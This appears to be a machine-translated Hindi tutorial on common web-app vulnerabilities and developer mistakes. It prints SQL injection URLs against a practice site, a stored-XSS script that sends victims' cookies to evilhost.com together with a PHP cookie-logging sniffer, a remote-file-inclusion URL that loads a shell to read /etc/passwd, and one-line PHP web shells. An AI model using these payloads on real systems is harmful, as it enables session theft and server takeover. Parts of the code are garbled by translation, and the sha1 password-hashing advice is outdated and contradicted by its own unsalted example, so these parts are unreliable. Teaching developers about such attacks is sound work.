वेब अनुप्रयोगों में कमजोरियों पर, साथ ही साथ डेवलपर्स की सबसे आम त्रुटियां

यह आलेख वेब अनुप्रयोगों में सूचना सुरक्षा पर लेखों की एक श्रृंखला की निरंतरता है (और न केवल)।

सामान्य तौर पर, मैंने "सफेद बॉक्स" के बारे में लिखने के बारे में सोचा था, लेकिन मैंने फैसला किया कि मुझे इस क्षेत्र में लक्ष्य दर्शकों (मुख्य रूप से वेब डेवलपर्स) में संभावित अंतराल को भरने की जरूरत है।

हो सकता है कि बहुत से और हर कोई जानता है कि मैं लेख में क्या लिख ​​रहा हूं, लेकिन मैं इसे व्यावहारिक उदाहरण और मनोरंजक अनुभव के साथ पतला करने की कोशिश करूंगा।

मेरी योजना है कि यह लेख एक तरह से एक है। इस चक्र के बाद दोहराया जाएगा, केवल अधिक जटिल संस्करण में, इस विषय में अधिक गहनता के साथ। मुझे आशा है कि मेरे पास इसके लिए और सामान्य रूप से पर्याप्त है, कि इसके बारे में लिखना समझ में आता है।

हमेशा की तरह - प्राप्त सभी ज्ञान की जिम्मेदारी केवल पाठक पर है :)

वेब एप्लिकेशन (सुरक्षा की दृष्टि से) विकसित करते समय सबसे अधिक बार की जाने वाली गलतियाँ, साथ ही साथ "लोकप्रिय" कमजोरियों के दोहन के लिए एक संक्षिप्त शैक्षिक कार्यक्रम।

सबसे पहले, SQL इंजेक्शन, XSS / CSRF, RFI / LFI के बारे में थोड़ा

एसक्यूएल चोट - एसक्यूएल इंजेक्शन, अनधिकृत प्रश्नों का निष्पादन
XSS / CSRF - पेज में मनमाने ढंग से JS कोड / स्क्रिप्ट एम्बेड करें। XSS - क्रॉस साइट स्क्रिप्टिंग (संक्षिप्त नाम "X" में पहला अक्षर है, ताकि CSS (शैलियों) के साथ कोई भ्रम न हो। CSRF - उपयोगकर्ता के ब्राउज़र में मनमाना कार्य करना।
RFI / LFI - दूरस्थ / स्थानीय फ़ाइल समावेशन। अपने स्वयं के प्रयोजनों के लिए रिमोट ("बाहरी रूप से") / स्थानीय फ़ाइलों का उपयोग करना
DoS - सेवा से इनकार। "स्मार्ट" संसाधन को अक्षम करना (डीडीओएस के विपरीत)। यह हमला तब किया जाता है जब "लंबे" अनुरोधों या लंबी अवधि के कोड निष्पादन को निष्पादित करना संभव होता है।

सुरक्षा करने का तरीका जानने के लिए, आपको यह जानने की आवश्यकता है कि हैक कैसे करें;]

एसक्यूएल इंजेक्शन

बहुत सारे डेवलपर्स ने इसके बारे में सुना है, उन्हें पता है कि अनुरोध को निष्पादित करने से पहले आपको विशेष रूपरेखा के लिए कार्यों से बचने के लिए उनके ढांचे में तैयार उपयोग करने की आवश्यकता है। यह निश्चित रूप से अच्छा है, लेकिन कुछ लोगों को उनकी क्षमताओं के बारे में पता है और व्यवहार में कैसे इंजेक्ट किया जाए। अब हम आंशिक रूप से इस चूक को समाप्त करते हैं, यदि आपके पास एक है।
विचार सरल है। आपके अनुरोध के बजाय, एक और निष्पादित किया जाता है, या कल्पना के मापदंडों को बदल दिया जाता है।

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11
(लिंक पर क्लिक करें)
तार्किक रूप से, -1 रिकॉर्ड मौजूद नहीं हैं। इसलिए, तालिका के प्रत्येक स्तंभ के लिए, हमारे पास मान 1..11 होंगे और हमें ब्राउज़र में इनमें से कुछ मान मिलेंगे (संघ में लौटाए गए मानों की संख्या पहले प्रश्न में स्तंभों की संख्या के अनुरूप होनी चाहिए)। वर्तमान कनेक्शन के बारे में जानकारी प्राप्त करना एक समस्या नहीं होगी, पृष्ठ पर दिखाई देने वाली संख्याओं के बजाय, हम अपने डेटाबेस सर्वर के कार्यों को GET अनुरोध में स्थानापन्न करते हैं।
MySQL (और एक के रूप में "मांसपेशी" नहीं) के उदाहरण का उपयोग करना

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,version (), 3,4,5,6, डेटाबेस (), 8,9,10, उपयोगकर्ता ()
(लिंक पर क्लिक करें)

और हमें उम्मीद थी।
एक बार पॉजिटिव टेक्नॉलॉजी में मैं पीडीएफ फाइलों में से एक में SQL इंजेक्शन के बीच अंतर की एक बहुत उपयोगी पृष्ठ पर आया था, यहाँ यह एक तस्वीर के रूप में है।

DoS । आइए एक उदाहरण देखें जहां अनुरोध के लिए इनपुट पैरामीटर फ़िल्टर किया गया है, लेकिन जहां DoS हमला लागू है

<?php $limit = (int)$_GET['limit']; $rows = mysql_query("select * from table limit 0,".$limit); ?> 

यह एक स्पष्ट कलाकारों के लिए लगता है, क्या पकड़ है? और अगर हमारे पास इस तालिका में 100 हजार प्रविष्टियाँ हैं:]? हम script.php की कोशिश करते हैं? सीमा = _large_number_ और संसाधन के DoS प्राप्त करें। अक्सर उन लिपियों में लागू होता है जहाँ प्रविष्टियों की संख्या सीमित होती है (आमतौर पर उपयोगकर्ता को 5.25,50,100 प्रविष्टियाँ दी जाती हैं)। किसी हमलावर के लिए इस मूल्य को प्रतिस्थापित करना मुश्किल नहीं होगा, इसलिए ऐसी कार्यक्षमता को लागू करते समय केस / स्विच का उपयोग करना बेहतर होता है।

मैं file_priv का उल्लेख करना चाहता था, जो SQL क्वेरी के माध्यम से संसाधन पर फ़ाइलों के साथ काम करने की क्षमता प्रदान करेगा।
लेकिन फिर भी, पहली जगह में, sql इंजेक्शन मनमाने ढंग से प्रश्नों का निष्पादन कर रहे हैं (सम्मिलित करें, बदलें, अपडेट, ड्रॉप करें ...)

XSS / CSRF

HTML इंजेक्शन को आमतौर पर 2 प्रकारों में विभाजित किया जाता है।
सक्रिय - html / js कोड डेटाबेस में सहेजा जाता है और हर बार इसे डेटाबेस से हटा दिया जाता है (उदाहरण के लिए, मंच पर एक पोस्ट, प्रोफ़ाइल डेटा, आदि)
निष्क्रिय - HTML / js कोड को पूर्वनिर्धारित मापदंडों के साथ एक स्क्रिप्ट तक पहुंचने पर सीधे निष्पादित किया जाता है। एक उदाहरण एक संसाधन पर खोज प्रपत्र है, जब इसे html कोड के साथ भरने के बाद, इसे खोज परिणामों में एम्बेड किया जाएगा।
इस तरह के इंजेक्शन को कम न समझें। वे आम तौर पर अलर्ट () के साथ समाप्त नहीं होते हैं, यह सिर्फ शुरुआत है।
यदि, उदाहरण के लिए, html किसी पोस्ट को लिखते समय फ़िल्टर नहीं किया जाता है, तो यहां "अपहरण" कुकीज़ का एक उदाहरण है (मैं जानबूझकर "अनाड़ी" डिजाइन का एक उदाहरण देता हूं, यह छिपाने की xss की पेचीदगियों के बारे में एक कहानी नहीं है)। फॉर्म का संदेश पोस्ट करें:

 <script> var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">'; document.write(url); </script> 

चूँकि हमारा मतलब सक्रिय XSS था, अब, पोस्ट डेटाबेस में प्रवेश करने के बाद और किसी भी उपयोगकर्ता (या व्यवस्थापक) ने हमारा संदेश खोला है, तो हमारा स्निफर अपने कुकीज़ को बचाएगा:] sniffer.php में समान सामग्री है:

 <?php if (isset($_GET['cookie'])) { $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of FY h:i:s A'); $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n"; $file = fopen("sniff.txt", "a"); fwrite($file, $text); fclose($file); } ?> 

इसके अलावा, प्रौद्योगिकी का मामला है।
यहां CSRF एक ऐसा हमला है जो उपयोगकर्ता के ब्राउज़र में कुछ कार्य करेगा। उदाहरण के लिए - एक व्यवस्थापक जोड़ें, धन को कहीं और स्थानांतरित करें, आदि। इसके लिए, आपको तत्वों के बीच स्विच करने और क्रियाएं करने के लिए पृष्ठ संरचना को जानना होगा। CSRF वायरस बहुत आम हैं।
आप यहां अभ्यास कर सकते हैं
लेकिन यह वहाँ समाप्त नहीं होता है :) एक XSS हमले को अंजाम देने का एक से अधिक तरीका है। Base64 है, और utf7 के साथ एक चिप है, और छवियों / फ्लैश फाइलों में XSS है। इस विषय पर बहुत सारे लेख हैं, लेकिन विचार एक है - पृष्ठ में कोड का परिचय।

RFI / LFI

इतना आम नहीं है, लेकिन एक जगह है। उदाहरण संवेदनशील कोड:

 <?php $module = $_GET['module']; include($module); ?> 

फ़ाइल इंजेक्शन का एक अच्छा उदाहरण। कैसे करें आवेदन?

  http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd 

जहाँ phpshell.txt फ़ाइल में समान सामग्री होगी

 <?php echo @`$_GET[c]` ?> 

या ऐसा कुछ

 <?=@`$c`?> 

(Raz0r, 2008 तक)

दूसरे विकल्प में, शामिल शॉर्ट_ओपन_टैग और रजिस्टर_ग्लोबल्स की आवश्यकता है
और हम वेब सर्वर के अधिकारों के साथ सर्वर पर आदेशों का मनमाना निष्पादन प्राप्त करते हैं।
कभी-कभी फ़ोरम समान कोड (उदाहरण के रूप में PHPBB) के साथ बनाए जाते हैं और टेम्पलेट में खतरनाक रेखा के रूप में ऐसी रेखा को नोटिस करना हमेशा संभव नहीं होता है (PHPBB में टेम्पलेट में PHP निष्पादन को सक्षम करने का विकल्प होता है)।

इस संक्षिप्त शैक्षिक कार्यक्रम पर, लेकिन ये सिर्फ मूल बातें हैं। "रक्षा के प्रयासों" के आसपास आने के रास्ते हैं। मैजिक_क्ोट्स, अपडलेश, डब्ल्यूएएफ जैसी विशेषताएं रामबाण नहीं हैं। और सबसे बुरी बात यह है कि जब भाषा कार्य स्वयं असुरक्षित होते हैं (उदाहरण के लिए, PHP में फ़ाइलों सहित मल्टीबाइट एन्कोडिंग की समस्याएँ)

सबसे आम गलतियाँ

उत्पादन पर डिबग

इसमें कुछ भी अच्छा नहीं है, भले ही यह आपके लिए सुविधाजनक हो। Error_reporting, debug (django) जैसे निर्देशों को तदनुसार कॉन्फ़िगर किया जाना चाहिए। हैकिंग तब सरल हो जाती है जब हम अंधे नहीं होते हैं, जब कोई हैकर वेब निर्देशिका के लिए पूर्ण पथ का खुलासा कर सकता है, ताकि उदाहरण के लिए भविष्य में sql चोट के साथ उपयोग किया जा सके (इस मामले में मैं file_priv के बारे में बात कर रहा हूं)। इसलिए, सर्वर सॉफ़्टवेयर में कोई त्रुटि नहीं है, अंत उपयोगकर्ता के लिए दुभाषियों को दिखाया जाना चाहिए। और कोड में, सबसे अच्छा तरीका निर्माण होगा:

 if ($something) someFunction() else { echo "   "; writeLog(...); //    } 

404 और इसी तरह की त्रुटियां हैं। आपको सर्वर से नहीं, इन पृष्ठों के अपने दृश्य का उपयोग करना चाहिए। और यह न केवल सुरक्षा के संदर्भ में, बल्कि सामान्य उपयोग में भी है।

निर्देशिका अनुक्रमण

तदनुसार सर्वर को कॉन्फ़िगर करें, इसे .htaccess में निषिद्ध करें , अंत में, आपके पास निर्देशिकाओं में खाली सूचकांक फाइलें हैं जहां निर्देशिका सूची उपलब्ध नहीं होनी चाहिए।

.htaccess वर्डप्रेस के लिए विस्तार में हाल ही में शून्य-दिन भेद्यता से "बचा" सकता है

XSS

इस प्रकार के हमले की संभावनाओं के बारे में, मैंने पहले ही ऊपर वर्णित किया है। उपयोगकर्ता (एडमिन पैनल सहित) से जो कुछ भी आप स्वीकार करते हैं, उसे फ़िल्टर किया जाना चाहिए। Htmlentities, स्ट्रिपटैग के रूप में फ़ंक्शंस इसकी मदद करते हैं। या टेम्प्लेट इंजन (स्मार्टी) में पात्र बच जाते हैं।

एसक्यूएल इंजेक्शन

आपको फ्रेमवर्क द्वारा प्रदान की गई कार्यक्षमता का उपयोग करने की आवश्यकता है, और किसी भी स्थिति में इनपुट मापदंडों के साथ संयोजन का उपयोग न करें (विशेषकर फ़िल्टरिंग के बिना)! mysql_real_escape_string, तैयारी हमेशा आपके साथ होनी चाहिए!

फ़ाइल अपलोड करें

इसे गंभीरता से लिया जाना चाहिए। तार की तुलना करके फ़ाइल एक्सटेंशन की जांच करना पर्याप्त नहीं है, आपको MIME फ़ाइल प्रकार की जांच करने की भी आवश्यकता है। फ़ाइल अपलोड का उपयोग करके मॉड्यूल लिखने से पहले, कल्पना करें कि इसका उपयोग करने वाला प्रत्येक उपयोगकर्ता एक हैकर है और उसके पास केवल एक ही विचार होगा कि आपके मॉड्यूल के माध्यम से एक शेल कैसे लोड किया जाए।
और अगर आप डाउनलोड की गई फ़ाइल के लिए प्रोग्राम्स को कॉल करने का निर्णय लेते हैं (चाहे वह रूपांतरण हो, या संग्रह को अनपैक करना हो) - यहां भी कल्पना के साथ एक बहुत ही नाजुक बिंदु है। फ़ाइलों में वर्ण जो किसी DoS संसाधन के लिए नेतृत्व कर सकते हैं। मैं अब फाइल होस्टिंग सेवाओं पर हमला करने की एक बहुत लोकप्रिय विधि के बारे में बात कर रहा हूं जो वायरस के लिए डाउनलोड की गई फ़ाइलों को स्कैन करती है।
हमला इस तथ्य पर उबलता है कि कई गीगाबाइट के लिए "/ 0" सामग्री के साथ एक फ़ाइल उत्पन्न होती है, इसे संग्रह में पैक किया जाता है (परिणामस्वरूप, इसका वजन कई Kb है) और इसे फ़ाइल होस्टिंग सेवा पर अपलोड किया गया है। डाउनलोड करने के बाद, फ़ाइल अनपैक की गई है, और आगे क्या है - आपको सिर्फ अनुमान लगाना है :)

RFI / LFI

ऊपर, मैंने आंशिक रूप से इस हमले और फ़िल्टरिंग विधियों के कार्यान्वयन का वर्णन किया है। इससे पहले कि आप कुछ कनेक्ट करें, आने वाले डेटा के आधार पर, आपको सत्यापित करने की आवश्यकता है। आमतौर पर सभ्य रूपरेखाओं का उपयोग करते समय यह समस्या उत्पन्न नहीं होती है।

.htaccess, index files, PHP configuration

मैं थोड़ा दोहराता हूं, लेकिन: हम फ़ोल्डर्स में अनावश्यक सब कुछ प्रतिबंधित करते हैं, निर्देशिकाओं की अनुक्रमणिका की अनुमति नहीं देते हैं, रजिस्टर_ग्लोबल्स और इसी तरह के इनकार करते हैं, "अनुशंसित नहीं" PHP विकल्प।

सामान्य बिंदु, रेपो फ़ाइलें।

स्रोत फ़ाइल को भंडारित करते समय .svn रूट पर। इसलिए पूरा इंटरनेट हैक कर लिया गया था। लिंक पर दिलचस्प पढ़ना।

सभी आने वाले मापदंडों को फ़िल्टर करें (कुकीज़ के बारे में मत भूलना!), अपनी स्क्रिप्ट को निष्पादित करने के लिए संभावित एल्गोरिदम पर विचार करें, तदनुसार अनुमतियाँ निर्धारित करें (chmod, डेटाबेस उपयोगकर्ता विशेषाधिकार, .htaccess), भेजने से पहले अपने अगले प्रतिबद्ध के सुरक्षित निष्पादन के बारे में सोचें और उत्पाद भी बेहतर होना चाहिए!

क्रिप्टोग्राफिक ताकत के बारे में। यदि आप हैशिंग का उपयोग करते हैं, तो यह sha1 (md5 के खिलाफ) के लिए बेहतर है, और इसमें "नमक" मिलाएं।

 $hash = sha1($username.':'.$password); 

निष्कर्ष

I (सबसे अधिक संभावना है) 2 चीजों के लिए शून्य होगा:

1. जो इंटरनेट पर इस विषय पर जानकारी से भरा है
2. भेद्यता प्रथाओं के बारे में बात करने की कोई जरूरत नहीं है

इसलिए, पहले बिंदु के अनुसार - लेख लेखों के चक्र के साथ आंतरिक रूप से जुड़ा हुआ है, मैं इसे हटा नहीं सकता और इस सब के बारे में नहीं बता सकता। दूसरे के अनुसार - व्यावहारिक ज्ञान के बिना, "स्वयं का बचाव" करने के प्रयासों के परिणाम व्यावहारिक रूप से शून्य तक कम हो जाते हैं।

श्रृंखला:

• वेब-संसाधनों के ऑडिट के लिए नि: शुल्क उपकरणों का अवलोकन और न केवल
• लेखा परीक्षा। ब्लैक बॉक्स
• वेब अनुप्रयोगों में कमजोरियों पर, साथ ही साथ डेवलपर्स की सबसे आम त्रुटियां
• केवल वेब-संसाधनों और न केवल v2 के लिए मुफ्त टूल का अवलोकन